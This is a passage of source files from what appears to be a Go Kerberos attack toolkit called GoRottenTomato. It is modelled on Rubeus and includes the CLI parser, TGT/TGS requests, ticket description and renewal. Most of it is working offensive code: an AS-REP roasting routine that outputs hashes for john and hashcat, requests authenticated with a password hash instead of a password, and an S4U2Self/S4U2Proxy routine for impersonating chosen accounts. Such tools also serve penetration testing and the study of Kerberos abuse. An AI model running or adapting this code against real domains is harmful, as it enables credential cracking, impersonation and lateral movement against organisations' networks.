err 53 | } 54 | 55 | printTGS(dcIP, service, *cred, save) 56 | return nil 57 | } 58 | 59 | func ASKTGS(domain, dcIP, username, password, hash, kirbi string, noPac, save bool, service []string, eType int32) error { 60 | if kirbi != "" { 61 | return askTGSFromTGT(kirbi, dcIP, service, save) 62 | } 63 | 64 | asrep, err := AskTGT.AskTGT(domain, username, password, dcIP, hash, noPac, eType) 65 | if err != nil { 66 | return fmt.Errorf("[-]asktgt error: %v\n", err) 67 | } 68 | fmt.Printf("[+]TGT request successful!\n") 69 | cred := asrep.GetTGT() 70 | printTGS(dcIP, service, *cred, save) 71 | return nil 72 | } 73 | 74 | func printTGS(dcIP string, service []string, cred procedure.KRB_CRED, save bool) { 75 | var file string 76 | for _, spn := range service{ 77 | if save { 78 | //TODO Support .kirbi && .ccache 79 | file = "TGS" + cred.DecEncPart.Ticket_Info[0].PName.Name_String[0] +"@" + cred.DecEncPart.Ticket_Info[0].PRealm + strings.Replace(spn, "/", "~", -1) + ".kirbi" 80 | } 81 | err := asktgs(dcIP, file, spn, cred) 82 | if err != nil { 83 | fmt.Printf("[-]%s request failed!\n%v\n\n", spn, err) 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /module/asktgt.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGT" 5 | "encoding/base64" 6 | "fmt" 7 | ) 8 | 9 | func ASKTGT(domain, username, password, dcIP, hash, path string, noPac bool, eType int32) error { 10 | asrep, err := AskTGT.AskTGT(domain, username, password, dcIP, hash, noPac, eType) 11 | if err != nil { 12 | return fmt.Errorf("[-]asktgt error: %v\n", err) 13 | } 14 | cred := asrep.GetTGT() 15 | data, err := cred.Marshal() 16 | if err != nil { 17 | return fmt.Errorf("[-]asktgt error: %v", err) 18 | } 19 | fmt.Printf("[+]AskTGT Sucessful!\n") 20 | 21 | err = saveFile(path, data) 22 | if err != nil { 23 | return err 24 | } 25 | fmt.Printf("[*]Base64(%s):\n\n%s\n", path, base64.StdEncoding.EncodeToString(data)) 26 | return nil 27 | } 28 | -------------------------------------------------------------------------------- /module/asreproast.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGT" 5 | "fmt" 6 | "io/ioutil" 7 | ) 8 | 9 | func AS_REPRoast(domain, dcIP, username, path, format string, eType int32) error { 10 | asrep, err := AskTGT.AskTGT(domain, username, "", dcIP, "", false, eType) 11 | if err != nil { 12 | return fmt.Errorf("[-]AS-REP failed! \n%v", err) 13 | } 14 | 15 | john := fmt.Sprintf("$krb5asrep$%s@%s:%x$%x", asrep.KDC_REP.CName.Name_String[0], asrep.KDC_REP.CRealm, asrep.KDC_REP.Enc_Part.Cipher[0:16], asrep.KDC_REP.Enc_Part.Cipher[16:]) 16 | hashcat := fmt.Sprintf("$krb5asrep$%d$%s@%s:%x$%x", asrep.KDC_REP.Enc_Part.EType, asrep.CName.Name_String[0], asrep.KDC_REP.CRealm, asrep.KDC_REP.Enc_Part.Cipher[0:16], asrep.KDC_REP.Enc_Part.Cipher[16:]) 17 | 18 | fmt.Printf("[+]AS-REQ preauth successful!\n") 19 | 20 | if path != "" { 21 | data := username + "/" + domain + "\n" + "john:" + "\n" + john + "\n\n" + "hashcat:" +"\n" + hashcat + "\n\n" 22 | err = ioutil.WriteFile(path, []byte(data), 0644) 23 | if err != nil { 24 | return fmt.Errorf("[-]can not save %s: %v", path, err) 25 | } 26 | fmt.Printf("[+]Save %s Sucessful!\n", path) 27 | return nil 28 | } 29 | 30 | var hash string 31 | switch format { 32 | case "john": 33 | hash = fmt.Sprintf("[*]AS-REP hash(john):\n\n%s", john) 34 | case "hashcat": 35 | hash = fmt.Sprintf("[*]AS-REP hash(hashcat):\n\n%s", hashcat) 36 | default: 37 | hash = fmt.Sprintf("[*]AS-REP hash(john):\n\n%s", john) 38 | } 39 | fmt.Println(hash) 40 | return nil 41 | } 42 | -------------------------------------------------------------------------------- /module/describe.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/procedure" 5 | "fmt" 6 | ) 7 | 8 | func Describe(data string) error { 9 | decode, err := getTGT(data) 10 | if err != nil { 11 | return fmt.Errorf("describe failed %v", err) 12 | } 13 | cred := &procedure.KRB_CRED{} 14 | err = cred.Unmarshal(decode) 15 | if err != nil { 16 | return fmt.Errorf("describe failed %v", err) 17 | } 18 | Display(cred) 19 | //fmt.Printf("$krb5asrep$%d$%s@%s:%x$%x", asrep.KDC_REP.Enc_Part.EType, asrep.CName.Name_String[0], asrep.KDC_REP.CRealm, asrep.KDC_REP.Enc_Part.Cipher[0:16], asrep.KDC_REP.Enc_Part.Cipher[16:]) 20 | return nil 21 | } 22 | 23 | -------------------------------------------------------------------------------- /module/funcs.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/funcs" 5 | "GoRottenTomato/krb5/crypto" 6 | "GoRottenTomato/krb5/procedure" 7 | "GoRottenTomato/krb5/ticket" 8 | "GoRottenTomato/krb5/types" 9 | "encoding/base64" 10 | "fmt" 11 | "io" 12 | "io/ioutil" 13 | "os" 14 | ) 15 | 16 | func printFQDN(dc *funcs.Domain, action string) error { 17 | if dc.FQDN == "" { 18 | return fmt.Errorf("need specify the domain parameter") 19 | }else if dc.IP == "" { 20 | return fmt.Errorf("need specify the dcIP parameter") 21 | } else { 22 | fmt.Printf("[*]Target KDC name: %s\n", dc.FQDN) 23 | fmt.Printf("[*]Target KDC addr: %s\n", dc.IP) 24 | fmt.Printf("[*]Starting %s \n", action) 25 | return nil 26 | } 27 | } 28 | 29 | func getDomainIP(domain, dcIP, name, action string) (ip string, err error) { 30 | dc, err := funcs.GetDomain(domain, dcIP) 31 | if err != nil { 32 | return "", fmt.Errorf("[-]%s failed can not find %s %v", name, domain, err) 33 | } 34 | err = printFQDN(dc, action) 35 | if err != nil { 36 | return "", fmt.Errorf("[-]%s failed %v", action, err) 37 | } 38 | return dc.IP, nil 39 | } 40 | 41 | func Display(cred *procedure.KRB_CRED) { 42 | var sname string 43 | if len(cred.DecEncPart.Ticket_Info[0].SName.Name_String) < 2 { 44 | sname = cred.DecEncPart.Ticket_Info[0].SName.Name_String[0] 45 | }else { 46 | sname = cred.DecEncPart.Ticket_Info[0].SName.Name_String[0] + "/" + cred.DecEncPart.Ticket_Info[0].SName.Name_String[1] 47 | } 48 | fmt.Printf("UserName : %s\n", cred.DecEncPart.Ticket_Info[0].PName.Name_String[0]) 49 | fmt.Printf("UserRealm : %s\n", cred.DecEncPart.Ticket_Info[0].PRealm) 50 | fmt.Printf("ServiceName : %s\n", sname) 51 | fmt.Printf("ServiceRealm : %s\n", cred.DecEncPart.Ticket_Info[0].SRealm) 52 | fmt.Printf("StartTime : %v\n", cred.DecEncPart.Ticket_Info[0].StartTime) 53 | fmt.Printf("EndTime : %v\n", cred.DecEncPart.Ticket_Info[0].EndTime) 54 | fmt.Printf("RenewTill : %v\n", cred.DecEncPart.Ticket_Info[0].Renew_Till) 55 | fmt.Printf("Flags : %s\n", getFlags(cred)) 56 | fmt.Printf("KeyType : %s\n", crypto.GetETypeString(cred.DecEncPart.Ticket_Info[0].Key.KeyType)) 57 | fmt.Printf("EncPartKeyType : %s\n", crypto.GetETypeString(cred.Tickets[0].Enc_Part.EType)) 58 | fmt.Printf("Base64(key) : %s\n", getBase64Key(cred.DecEncPart.Ticket_Info[0].Key)) 59 | fmt.Printf("\n\n") 60 | } 61 | 62 | func getFlags(cred *procedure.KRB_CRED) string { 63 | flag := ticket.DisplayTickets(cred.DecEncPart.Ticket_Info[0].Flags) 64 | if len(flag) < 1 { 65 | return "unknown flag" 66 | } 67 | var str string 68 | for key, value := range flag{ 69 | if key == 0 { 70 | str = value 71 | }else { 72 | str = str + ", " + value 73 | } 74 | } 75 | return str 76 | } 77 | 78 | func getBase64Key(key types.EncryptionKey) string { 79 | return base64.StdEncoding.EncodeToString(key.KeyValue) 80 | } 81 | 82 | func getBase64EncPart(data types.EncryptedData) string { 83 | return base64.StdEncoding.EncodeToString(data.Cipher) 84 | } 85 | 86 | func getTGT(str string) ([]byte, error) { 87 | if str[(len(str)-6):] == ".kirbi" { 88 | f, err := os.Open(str) 89 | if err != nil { 90 | return nil, err 91 | } 92 | chunks := make([]byte, 0) 93 | buf := make([]byte, 1024) 94 | for { 95 | n, err := f.Read(buf) 96 | if err != nil && err != io.EOF { 97 | return nil, err 98 | } 99 | if n == 0 { 100 | break 101 | } 102 | chunks = append(chunks, buf[:n]...) 103 | } 104 | return chunks, nil 105 | } 106 | 107 | decode, err := base64.StdEncoding.DecodeString(str) 108 | if err != nil { 109 | return nil, err 110 | } 111 | return decode, nil 112 | } 113 | 114 | func saveFile(path string, data []byte) error { 115 | if path != "" { 116 | err := ioutil.WriteFile(path, data, 0644) 117 | if err != nil { 118 | return fmt.Errorf("[-]can not save %s: %v", path, err) 119 | } 120 | fmt.Printf("[+]Save %s Sucessful!\n\n", path) 121 | } 122 | return nil 123 | } 124 | 125 | func getUnmarshalTGT(data string) (*procedure.KRB_CRED, error) { 126 | decode, err := getTGT(data) 127 | if err != nil { 128 | return nil, fmt.Errorf("describe failed %v", err) 129 | } 130 | cred := &procedure.KRB_CRED{} 131 | err = cred.Unmarshal(decode) 132 | if err != nil { 133 | return nil, fmt.Errorf("describe failed %v", err) 134 | } 135 | return cred, nil 136 | } 137 | 138 | func getEType(eType string) int32 { 139 | switch eType { 140 | case "aes128": 141 | return 17 142 | case "aes256": 143 | return 18 144 | case "rc4": 145 | return 23 146 | default: 147 | return 23 148 | } 149 | } 150 | 151 | func logo() { 152 | fmt.Println() 153 | fmt.Println(" _____ _ ") 154 | fmt.Println("/__ \\___ _ __ ___ __ _| |_ ___ ") 155 | fmt.Println(" / /\\/ _ \\| '_ ` _ \\ / _` | __/ _ \\ ") 156 | fmt.Println(" / / | (_) | | | | | | (_| | || (_) |") 157 | fmt.Println(" \\/ \\___/|_| |_| |_|\\__,_|\\__\\___/ ") 158 | fmt.Println() 159 | } 160 | 161 | func menu() { 162 | fmt.Println(" -asktgt\n Request a TGT\n -asktgs\n Request a TGS\n -describe\n Describe the content of the ticket\n -renew\n Renew a ticket\n -asreproast\n asreproast attack\n -s4u\n ServiceForUser attack") 163 | } -------------------------------------------------------------------------------- /module/module.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/procedure" 5 | "flag" 6 | "fmt" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func Parse(arg []string) { 12 | logo() 13 | if len(arg) < 1 { 14 | menu() 15 | return 16 | } 17 | switch arg[0] { 18 | case "asktgt": 19 | err := parseAskTGT(arg[1:]) 20 | if err != nil { 21 | fmt.Println(err) 22 | } 23 | case "asktgs": 24 | err := parseAskTGS(arg[1:]) 25 | if err != nil { 26 | fmt.Println(err) 27 | } 28 | case "describe": 29 | err := parseDescribe(arg[1:]) 30 | if err != nil { 31 | fmt.Println(err) 32 | } 33 | case "renew": 34 | err := parseRenew(arg[1:]) 35 | if err != nil { 36 | fmt.Println(err) 37 | } 38 | case "asreproast": 39 | err := parseAsRepRoast(arg[1:]) 40 | if err != nil { 41 | fmt.Println(err) 42 | } 43 | case "s4u": 44 | err := parseS4U(arg[1:]) 45 | if err != nil { 46 | fmt.Println(err) 47 | } 48 | default: 49 | menu() 50 | } 51 | } 52 | 53 | func parseAskTGT(arg []string) (err error) { 54 | set := flag.NewFlagSet("asktgt", flag.ContinueOnError) 55 | var domain = set.String("domain", "", "Target domain name") 56 | var username = set.String("user", "", "Username") 57 | var password = set.String("password", "", "User's password") 58 | var dcIP = set.String("dcIP", "", "Target KDC's IP address") 59 | var hash = set.String("hash", "", "User's password hash") 60 | var eType = set.String("etype", "rc4", "Kind of encryption key (rc4, aes128, aes256)") 61 | var path = set.String("path", "", "File save path") 62 | var nopac = set.Bool("nopac", false, "Whether to include pac, default false") 63 | 64 | if len(arg) < 1 { 65 | set.PrintDefaults() 66 | return nil 67 | } 68 | err = set.Parse(arg) 69 | if err != nil { 70 | return nil 71 | } 72 | 73 | *dcIP, err = getDomainIP(*domain, *dcIP, "AskTGT", "ask TGT") 74 | if err != nil { 75 | return err 76 | } 77 | etypeid := getEType(*eType) 78 | return ASKTGT(*domain, *username, *password, *dcIP, *hash, *path, *nopac, etypeid) 79 | } 80 | 81 | func parseAskTGS(arg []string) (err error) { 82 | set := flag.NewFlagSet("asktgs", flag.ContinueOnError) 83 | var domain = set.String("domain", "", "Target domain name") 84 | var username = set.String("user", "", "Username") 85 | var password = set.String("password", "", "User's password") 86 | var dcIP = set.String("dcIP", "", "Target KDC's IP address") 87 | var hash = set.String("hash", "", "User's password hash") 88 | var eType = set.String("etype", "rc4", "Kind of encryption key (rc4, aes128, aes256)") 89 | var kirbi = set.String("tgt", "", "request TGS using the specified TGT (Base64TGT or .kirbi)") 90 | var servicename = set.String("service", "", "services must be specified, comma separated") 91 | var nopac = set.Bool("nopac", false, "Whether to include pac, default false") 92 | var path = set.Bool("path", false, "File save path, default false") 93 | 94 | if len(arg) < 1 { 95 | set.PrintDefaults() 96 | return nil 97 | } 98 | err = set.Parse(arg) 99 | if err != nil { 100 | return nil 101 | } 102 | 103 | *dcIP, err = getDomainIP(*domain, *dcIP, "AskTGS", "ask TGS") 104 | if err != nil { 105 | return err 106 | } 107 | service := strings.Split(*servicename, ",") 108 | etypeid := getEType(*eType) 109 | return ASKTGS(*domain, *dcIP, *username, *password, *hash, *kirbi, *nopac, *path, service, etypeid) 110 | } 111 | 112 | func parseDescribe(arg []string) (err error) { 113 | set := flag.NewFlagSet("describe", flag.ContinueOnError) 114 | var data = set.String("ticket", "", "Ticket that needs to be decrypted (Base64TGT or .kirbi)") 115 | if len(arg) < 1 { 116 | set.PrintDefaults() 117 | return nil 118 | } 119 | err = set.Parse(arg) 120 | if err != nil { 121 | return nil 122 | } 123 | return Describe(*data) 124 | } 125 | 126 | func parseRenew(arg []string) (err error) { 127 | set := flag.NewFlagSet("renew", flag.ContinueOnError) 128 | var kirbi = set.String("tgt", "", "Tickets that need to be renew (Base64TGT or .kirbi)") 129 | var dcIP = set.String("dcIP", "", "Target KDC's IP address") 130 | var path = set.String("path", "", "File save path") 131 | var till = set.Duration("till", time.Hour * 24 * 7, "Ticket expiration date, default 7 days") 132 | if len(arg) < 1 { 133 | set.PrintDefaults() 134 | return nil 135 | } 136 | err = set.Parse(arg) 137 | if err != nil { 138 | return nil 139 | } 140 | return RENEW(*kirbi, *dcIP, *path, *till) 141 | } 142 | 143 | func parseAsRepRoast(arg []string) (err error) { 144 | set := flag.NewFlagSet("asreproast", flag.ContinueOnError) 145 | var domain = set.String("domain", "", "Target domain name") 146 | var dcIP = set.String("dcIP", "", "Target KDC's IP address") 147 | var username = set.String("user", "", "Username") 148 | var path = set.String("path", "", "File save path") 149 | var format = set.String("format", "john", "output format (john, hashcat)") 150 | var eType = set.String("etype", "rc4", "Kind of encryption key (rc4, aes128, aes256)") 151 | 152 | if len(arg) < 1 { 153 | set.PrintDefaults() 154 | return nil 155 | } 156 | err = set.Parse(arg) 157 | if err != nil { 158 | return nil 159 | } 160 | 161 | *dcIP, err = getDomainIP(*domain, *dcIP, "AsrepRoast", "asreproast") 162 | if err != nil { 163 | return err 164 | } 165 | etypeid := getEType(*eType) 166 | return AS_REPRoast(*domain, *dcIP, *username, *path, *format, etypeid) 167 | } 168 | 169 | func parseS4U(arg []string) (err error) { 170 | set := flag.NewFlagSet("s4u", flag.ContinueOnError) 171 | var domain = set.String("domain", "", "Target domain name") 172 | var username = set.String("user", "", "Username") 173 | var password = set.String("password", "", "User's password") 174 | var dcIP = set.String("dcIP", "", "Target KDC's IP address") 175 | var hash = set.String("hash", "", "User's password hash") 176 | var eType = set.String("etype", "rc4", "Kind of encryption key (rc4, aes128, aes256)") 177 | var btgt = set.String("tgt", "", "Base64 encoded TGT (Base64TGT or .kirbi)") 178 | var btgs = set.String("tgs", "", "Base64 encoded TGS (Base64TGT or .kirbi)") 179 | var impersonate = set.String("impersonate", "", "Account to be impersonated") 180 | var service = set.String("service", "", "target rbcd service") 181 | var alter = set.String("alter", "", "Substitute in any service name") 182 | var nopac = set.Bool("nopac", false, "Whether to include pac, default false") 183 | var save = set.Bool("save", false, "Whether to save the TGS, default false") 184 | 185 | if len(arg) < 1 { 186 | set.PrintDefaults() 187 | return nil 188 | } 189 | err = set.Parse(arg) 190 | if err != nil { 191 | return nil 192 | } 193 | 194 | if *impersonate == "" { 195 | return fmt.Errorf("impersonate parameter must be specified") 196 | } 197 | 198 | *dcIP, err = getDomainIP(*domain, *dcIP, "AsrepRoast", "asreproast") 199 | if err != nil { 200 | return err 201 | } 202 | etypeid := getEType(*eType) 203 | 204 | var tgt *procedure.KRB_CRED 205 | if *btgt != "" { 206 | tgt, err = getUnmarshalTGT(*btgt) 207 | if err != nil { 208 | return fmt.Errorf("tgt unmarshaling error %v", err) 209 | } 210 | }else { 211 | tgt = &procedure.KRB_CRED{} 212 | } 213 | var tgs *procedure.KRB_CRED 214 | if *btgs != "" { 215 | tgs, err = getUnmarshalTGT(*btgs) 216 | if err != nil { 217 | return fmt.Errorf("tgs unmarshaling error %v", err) 218 | } 219 | }else { 220 | tgs = &procedure.KRB_CRED{} 221 | } 222 | var altservice []string 223 | if *alter == "" { 224 | altservice = nil 225 | }else { 226 | altservice = strings.Split(*alter, ",") 227 | } 228 | 229 | return S4U(*tgt, *tgs, *dcIP, *service, *impersonate, *domain, *username, *password, *hash, altservice, *nopac, *save, etypeid) 230 | } 231 | -------------------------------------------------------------------------------- /module/renew.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/funcs" 5 | "GoRottenTomato/krb5/AskTGS" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/procedure" 8 | "GoRottenTomato/krb5/types" 9 | "encoding/base64" 10 | "fmt" 11 | "time" 12 | ) 13 | 14 | func RENEW(data, dcIP, path string, till time.Duration) error { 15 | cred, err := getUnmarshalTGT(data) 16 | if err != nil { 17 | return err 18 | } 19 | 20 | dc, err := funcs.GetDomain(cred.Tickets[0].Realm, dcIP) 21 | if err != nil { 22 | return fmt.Errorf("[-]renew failed can not find %s %v", cred.Tickets[0].Realm, err) 23 | } 24 | dcIP = dc.IP 25 | printFQDN(dc, "renew") 26 | 27 | fmt.Printf("[*]Building TGS-REQ renewal for: %s\\%s\n", cred.DecEncPart.Ticket_Info[0].PRealm , cred.DecEncPart.Ticket_Info[0].PName.Name_String[0] ) 28 | 29 | kflags := types.GetKerberosFlags(flags.Renewable, flags.Renewable_OK, flags.Renew, flags.Forwardable) 30 | 31 | tgs := procedure.NewTGSREQ(kflags, cred.Tickets[0].Realm, cred.DecEncPart.Ticket_Info[0].PName, cred.DecEncPart.Ticket_Info[0].SName, cred.DecEncPart.Ticket_Info[0].StartTime.Add(till)) 32 | tgs.SetPAData(cred.Tickets[0], cred.DecEncPart.Ticket_Info[0].Key) 33 | 34 | tgsrep, err := AskTGS.AskTGS(*tgs, dcIP, cred.DecEncPart.Ticket_Info[0].Key) 35 | if err != nil { 36 | return err 37 | } 38 | 39 | newcred := tgsrep.GetCRED() 40 | tgt, err := newcred.Marshal() 41 | fmt.Printf("[+]TGT renewal request successful!\n") 42 | 43 | base := base64.StdEncoding.EncodeToString(tgt) 44 | err = saveFile(path, tgt) 45 | if err != nil { 46 | return err 47 | } 48 | fmt.Printf("[*]Base64:\n\n%s\n", base) 49 | return nil 50 | } 51 | 52 | 53 | -------------------------------------------------------------------------------- /module/s4u.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGT" 5 | "GoRottenTomato/krb5/S4U2" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/procedure" 8 | "GoRottenTomato/krb5/types" 9 | "fmt" 10 | "strings" 11 | ) 12 | 13 | func S4U(tgt, tgs procedure.KRB_CRED, dcIP, service, impersonate, domain, username, password, hash string, altservice []string, noPac, save bool, eType int32) (err error) { 14 | switch { 15 | case tgt.IsEmpty() && tgs.IsEmpty(): 16 | var asrep *procedure.AS_REP 17 | asrep, err = AskTGT.AskTGT(domain, username, password, dcIP, hash, noPac, eType) 18 | if err != nil { 19 | return err 20 | } 21 | fmt.Printf("[+]TGT request successful!\n") 22 | tgt = *asrep.GetTGT() 23 | fallthrough 24 | 25 | case !tgt.IsEmpty() && tgs.IsEmpty(): 26 | var creds []procedure.KRB_CRED 27 | creds, err = S4U2.S4U2Self(dcIP, impersonate, altservice, tgt) 28 | if err != nil { 29 | return fmt.Errorf("request S4U2Self error: %v", err) 30 | } 31 | 32 | 33 | if save { 34 | //TODO Support .kirbi && .ccache 35 | for _, value := range creds{ 36 | path := "TGSFor" + value.DecEncPart.Ticket_Info[0].PName.Name_String[0] + "@" + value.DecEncPart.Ticket_Info[0].PRealm + "To" + value.Tickets[0].SName.Name_String[0] + "@" + value.Tickets[0].Realm + strings.Replace(service, "/", "~", -1) + "S4U2Self.kirbi" 37 | blob, err := value.Marshal() 38 | if err != nil { 39 | fmt.Printf("[-]save %s failed\n", path) 40 | }else { 41 | err = saveFile(path, blob) 42 | if err != nil { 43 | fmt.Printf("[-]save %s failed\n", path) 44 | } 45 | } 46 | } 47 | } 48 | tgs = creds[0] 49 | fallthrough 50 | 51 | case !tgt.IsEmpty() && !tgs.IsEmpty(): 52 | var cred procedure.KRB_CRED 53 | spn := types.PrincipalName{ 54 | Name_Type: flags.NT_SRV_INST, 55 | Name_String: strings.Split(service, "/"), 56 | } 57 | cred, err = S4U2.S4U2Proxy(tgt, tgs, dcIP, spn) 58 | if err != nil { 59 | return fmt.Errorf("request S4U2Proxy error: %v", err) 60 | } 61 | Display(&cred) 62 | if save { 63 | //TODO Support .kirbi && .ccache 64 | path := "TGSFor" + cred.DecEncPart.Ticket_Info[0].PName.Name_String[0] + "@" + cred.DecEncPart.Ticket_Info[0].PRealm + "To" + cred.Tickets[0].SName.Name_String[0] + "@" + cred.Tickets[0].Realm + strings.Replace(service, "/", "~", -1) + "S4U2Proxy.kirbi" 65 | blob, err := cred.Marshal() 66 | if err != nil { 67 | fmt.Printf("[-]save %s failed\n", path) 68 | }else { 69 | err = saveFile(path, blob) 70 | if err != nil { 71 | fmt.Printf("[-]save %s failed\n", path) 72 | } 73 | } 74 | } 75 | return nil 76 | 77 | default: 78 | return fmt.Errorf("S4U2 Parameter error") 79 | } 80 | } 81 | 82 | --------------------------------------------------------------------------------